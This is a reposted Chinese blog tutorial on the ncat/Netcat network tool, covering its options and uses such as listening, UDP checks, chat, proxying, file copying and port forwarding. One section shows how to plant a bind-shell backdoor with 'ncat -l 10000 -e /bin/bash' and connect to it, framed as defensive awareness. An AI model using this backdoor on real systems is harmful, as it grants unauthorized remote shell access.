ncat详细介绍【转载】

ncat简介
ncat即Netcat。Netcat用于从TCP/UDP连接中读取或发送网络数据。cat是Linux中查看或连接文件的命令,所以netcat本意为从网络上查看文件内容。而Netcat的作者Hobbit为它添加了非常丰富的功能,使它几乎能够完成网络操作中各式各样的操作,所以Netcat在网络安全领域被称作“TCPIP的瑞士军刀”(“Swiss-army knife forTCP/IP”)。

Netcat稳定版1.10由Hobbit在1996年3月发布(开源软件),之后作者没有再对其进行维护,但该工具十多年来依然在被广泛地使用,而且基于Netcat的各种衍生工具也层出不穷,他们在很多方面增强或扩展了Netcat的功能。

Nmap团队开发了Ncat作为Netcat的升级版本,增加了更多的功能(如ssl加密、代理连接通过socks4 获取http),让其更能适应现代网络环境的需求。

安装

1
yum install -y nc

安装完后可以通过nc或者ncat来使

参数说明

命令格式:

1
ncat [options] [hostname] [port]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
-4                         Use IPv4 only
-6                         Use IPv6 only
-U, --unixsock             Use Unix domain sockets only
-C, --crlf                 Use CRLF for EOL sequence
-c, --sh-exec <command>    Executes the given command via /bin/sh
-e, --exec <command>       Executes the given command
    --lua-exec <filename>  Executes the given Lua script
-g hop1[,hop2,...]         Loose source routing hop points (8 max)
-G <n>                     Loose source routing hop pointer (4, 8, 12, ...)
-m, --max-conns <n>        Maximum <n> simultaneous connections
-h, --help                 Display this help screen
-d, --delay <time>         Wait between read/writes
-o, --output <filename>    Dump session data to a file
-x, --hex-dump <filename>  Dump session data as hex to a file
-i, --idle-timeout <time>  Idle read/write timeout
-p, --source-port port     Specify source port to use
-s, --source addr          Specify source address to use (doesn't affect -l)
-l, --listen               Bind and listen for incoming connections
-k, --keep-open            Accept multiple connections in listen mode
-n, --nodns                Do not resolve hostnames via DNS
-t, --telnet               Answer Telnet negotiations
-u, --udp                  Use UDP instead of default TCP
    --sctp                 Use SCTP instead of default TCP
-v, --verbose              Set verbosity level (can be used several times)
-w, --wait <time>          Connect timeout
-z                         Zero-I/O mode, report connection status only
    --append-output        Append rather than clobber specified output files
    --send-only            Only send data, ignoring received; quit on EOF
    --recv-only            Only receive data, never send anything
    --allow                Allow only given hosts to connect to Ncat
    --allowfile            A file of hosts allowed to connect to Ncat
    --deny                 Deny given hosts from connecting to Ncat
    --denyfile             A file of hosts denied from connecting to Ncat
    --broker               Enable Ncat's connection brokering mode
    --chat                 Start a simple Ncat chat server
    --proxy <addr[:port]>  Specify address of host to proxy through
    --proxy-type <type>    Specify proxy type ("http" or "socks4" or "socks5")
    --proxy-auth <auth>    Authenticate with HTTP or SOCKS proxy server
    --ssl                  Connect or listen with SSL
    --ssl-cert             Specify SSL certificate file (PEM) for listening
    --ssl-key              Specify SSL private key (PEM) for listening
    --ssl-verify           Verify trust and domain name of certificates
    --ssl-trustfile        PEM file containing trusted SSL certificates
    --ssl-ciphers          Cipherlist containing SSL ciphers to use
    --version              Display Ncat's version information and exit

使用场景

监听入站连接

通过 -l 选项,ncat 可以进入监听模式,使我们可以在指定端口监听入站连接。

1
ncat -l port_number

连接远程系统

使用下面命令可以用 nc 来连接远程系统,类似于telnet ip port ,建立一个与服务器的连接。可以发送命令

1
ncat IP_address port_number

连接 UDP 端口

默认情况下,nc 创建连接时只会连接 TCP 端口。 不过我们可以使用 -u 选项来连接到 UDP 端口

1
ncat -l -u 1234

假设我们想发送或者说测试某个远程主机 UDP 端口的连通性,我们可以使用下面命令

1
ncat -v -u {host-ip} {udp-port}

比如

1
2
3
ncat -v -u 192.168.105.150 53
Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Connected to 192.168.105.150:53

将 nc 作为聊天工具

nc 也可以作为聊天工具来用,我们可以配置服务器监听某个端口,然后从远程主机上连接到服务器的这个端口,就可以开始发送消息了。 在服务器这端运行:

1
ncat -l 8080

在远程客户端主机上运行:

1
ncat 192.168.1.100 8080

之后开始发送消息,这些消息会在服务器终端上显示出来。

将 nc 作为代理

nc 也可以用来做代理。比如下面这个例子

1
ncat -l 8080 | ncat 192.168.1.200 80

所有发往我们服务器 8080 端口的连接都会自动转发到 192.168.1.200 上的 80 端口。 不过由于我们使用了管道,数据只能被单向传输。 要同时能够接受返回的数据,我们需要创建一个双向管道。 使用下面命令可以做到这点

1
2
mkfifo 2way
ncat -l 8080 0<2way | ncat 192.168.1.200 80 1>2way

现在你可以通过 nc 代理来收发数据了

使用 nc 拷贝文件
nc 还能用来在系统间拷贝文件,虽然这么做并不推荐,因为绝大多数系统默认都安装了 ssh/scp。 不过如果你恰好遇见个没有 ssh/scp 的系统的话, 你可以用 nc 来作最后的努力。

在要接受数据的机器上启动 nc 并让它进入监听模式:

1
ncat -l  8080 > file.txt

现在去要被拷贝数据的机器上运行下面命令:

1
ncat 192.168.1.100 8080 --send-only < data.txt

这里,data.txt 是要发送的文件。 -–send-only 选项会在文件拷贝完后立即关闭连接。 如果不加该选项, 我们需要手工按下 ctrl+c 来关闭连接。

我们也可以用这种方法拷贝整个磁盘分区,不过请一定要小心

通过 nc 创建后门
nc 命令还可以用来在系统中创建后门,并且这种技术也确实被黑客大量使用。 为了保护我们的系统,我们需要知道它是怎么做的。 创建后门的命令为:

1
ncat -l 10000 -e /bin/bash

-e 标志将一个 bash 与端口 10000 相连。现在客户端只要连接到服务器上的 10000 端口就能通过 bash 获取我们系统的完整访问权限:

1
ncat 192.168.1.100 10000

通过 nc 进行端口转发

我们通过选项 -c 来用 nc 进行端口转发,实现端口转发的语法为:

1
ncat -u -l  80 -c  'ncat -u -l 8080'

这样,所有连接到 80 端口的连接都会转发到 8080 端口

设置连接超时

nc 的监听模式会一直运行,直到手工终止。 不过我们可以通过选项 -w 设置超时时间:

1
ncat -w 10 192.168.1.100 8080

这会导致连接 10 秒后终止,不过这个选项只能用于客户端而不是服务端。

使用 -k 选项强制 nc 待命

当客户端从服务端断开连接后,过一段时间服务端也会停止监听。 但通过选项 -k 我们可以强制服务器保持连接并继续监听端口。 命令如下:

1
ncat -l -k 8080

现在即使来自客户端的连接断了也依然会处于待命状态
————————————————
本文转载 CSDN博主【demon7552003】
原文链接:https://blog.csdn.net/demon7552003/article/details/117162103

posted @   AisonZhang  阅读(614)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· DeepSeek “源神”启动!「GitHub 热点速览」
· 我与微信审核的“相爱相杀”看个人小程序副业
· 微软正式发布.NET 10 Preview 1:开启下一代开发框架新篇章
· 如何使用 Uni-app 实现视频聊天(源码,支持安卓、iOS)
· C# 集成 DeepSeek 模型实现 AI 私有化(本地部署与 API 调用教程)
点击右上角即可分享
微信分享提示